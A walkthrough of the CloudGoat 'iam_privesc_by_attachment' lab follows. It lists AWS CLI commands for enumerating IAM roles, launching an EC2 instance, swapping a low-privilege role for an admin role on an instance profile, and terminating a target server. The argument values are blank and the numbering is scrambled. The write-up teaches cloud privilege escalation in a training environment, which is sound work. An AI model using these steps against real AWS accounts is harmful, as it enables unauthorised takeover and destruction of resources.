This walkthrough assumes you have CloudGoat set up on your Kali Linux. You can use our post on Working with CloudGoat: The “Vulnerable by Design” AWS Environment as a guide in deploying it.

Scenario summary

The scenario starts with an IAM user, Kerrigan, with limited set of permissions. The attacker is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account. Goal: Delete the “cg-super-critical security-server”. Walkthrough To deploy the resources for each scenario on AWS: ./cloudgoat.py create iam_privesc_by_attachment

  1. Deploying the resources gives us the access key and secret key for Kerrigan. [CLICK IMAGES TO ENLARGE]
  2. Save the credential to a profile — Kerrigan. aws configure –profile Kerrigan
  3. Perform reconnaissance on the user “Kerrigan” to see what privileges the user has by enumerating the policies and permissions attached to the user. We tried running the usual commands “list-user-policies” and “list-attached-user-policies”. We noticed we were not authorized to carry out those actions. aws iam list-user-policies –-user-name –profile

list-user-policies: Lists the names of inline policies embedded in the specified IAM user. aws iam list-attached-user-policies –-user-name –profile

list-attached-user-policies: Lists all managed policies that are attached to the specified IAM user. Running the “list-roles” command revealed two IAM roles: “cg-ec2-meek-role- cgidnek40ur5gb” and “cg-ec2-mighty-role-cgidnek40ur5gb”. From the naming convention, it seems to suggest that the “cg-ec2-mighty-role-cgidnek40ur5gb” may have more permissions than the other role, “cg-ec2-meek-role-cgidnek40ur5gb”. aws iam list-roles –profile

list- roles: Lists the IAM roles that have the specified path prefix. aws iam list-instance-profiles –profile

list-instance-profiles: Lists the instance profiles that have the specified path prefix. 4. Get more information about the EC2 instance running. aws ec2 describe-instances –region us-east-1 –profile

We notice that an EC2 instance (our target server), “super-critical-security-server”, is running. To explore the permissions of the identified roles, we are going to attach them to a new EC2 instance and then use the EC2 instance to enumerate the role permissions. 5. Create a new EC2 instance via AWS CLI. The following information are required for the creation of the EC2 instance which can be found using the describe-instances command:

The subnet ID of the existing EC2 instance The security group that allows SSH access in the existing EC2 instance The AMI image ID used in creating the existing EC2 instance The ARN of the instance profile in the existing EC2 instance

In addition, we’ll need a new key pair, which will allow us to SSH into the new EC2 instance. 6. Create a key pair, as we don’t have access to any of the existing key pairs in the AWS account (if any). aws ec2 create-key-pair –key-name –query ‘KeyMaterial’ –output text > .pem –region us-east-1 –profile

  1. Change the permission on the key. chmod 600 .pem

Chmod 600 means the owner has full read and write access to the file, while no other user can access the file. 8. Create a new EC2 instance using the newly generated key pair (Scenario04.pem). aws ec2 run-instances –image-id –instance-type –iam-instance-profile Arn= –key-name –subnet-id –security-group-ids –region us-east-1 –profile

run-instances: This command launches a specified number of instances using an AMI for which you have permissions (in our case, we are using a free and public AMI).

image-id: The image-id for the AWS AMI to be used in creating the EC2 instance. instance-type: The type of instance to be created. For a free-tier account, t2.micro. iam-instance-profile: The IAM instance profle is the role to be assigned to the EC2 instance. key-name: The name of the newly created key pair. security-group-ids: This specifies the security group that will be applied to the instance. In this case, we need SSH access to the new EC2 instance, hence the SSH security group ID. region: The region where the instance should be created in. subnet-id: This specifies the subnet ID that will be applied to the instance.

We currently have the meek role assigned to this instance profile: “cg-ec2-meek-instance-profile-cgidnek40ur5gb“. We have to remove the “cg-ec2-meek-role-cgidnek40ur5gb” role and then attach the “cg-ec2-mighty-role-cgidnek40ur5gb” role to the instance profile. 9. Remove the meek role from the instance profile. aws iam remove-role-from-instance-profile –instance-profile-name –-role-name –profile

Attach the mighty role to the instance profile. aws iam add-role-to-instance-profile –instance-profile-name –-role-name –profile

  1. SSH into the new EC2 instance. ssh -i .pem ubuntu@

Once we are logged in, we install AWS CLI on it. sudo apt-get install awscli

  1. We check permissions assigned to the “mighty role”. aws iam list-attached-role-name –role-name

aws iam get-policy –policy-arn

aws iam get-policy-version –policy-arn –version-id

  1. Test the new privileges by attempting to delete the critical server. aws ec2 terminate-instances –instance-ids –region us-east-1

  2. To destroy the resources created during this lab: ./cloudgoat.py destroy iam_privesc_by_attachment

Summary

The bad actor was able escalate their privilege by removing the “meek role” and attaching the “mighty role” to an instance profile, granting the user full administrative privileges. Using the newly created EC2 instance, the bad actor was able to gain access to the data stored on existing EC2 instance “cg-super-critical-security-server” and also terminate the critical server.  

Sources

AWS CLI Command Reference – IAM, AWS Well, that escalated quickly, Bishop Fox AWS IAM Privilege Escalation Methods, Rhino Security Labs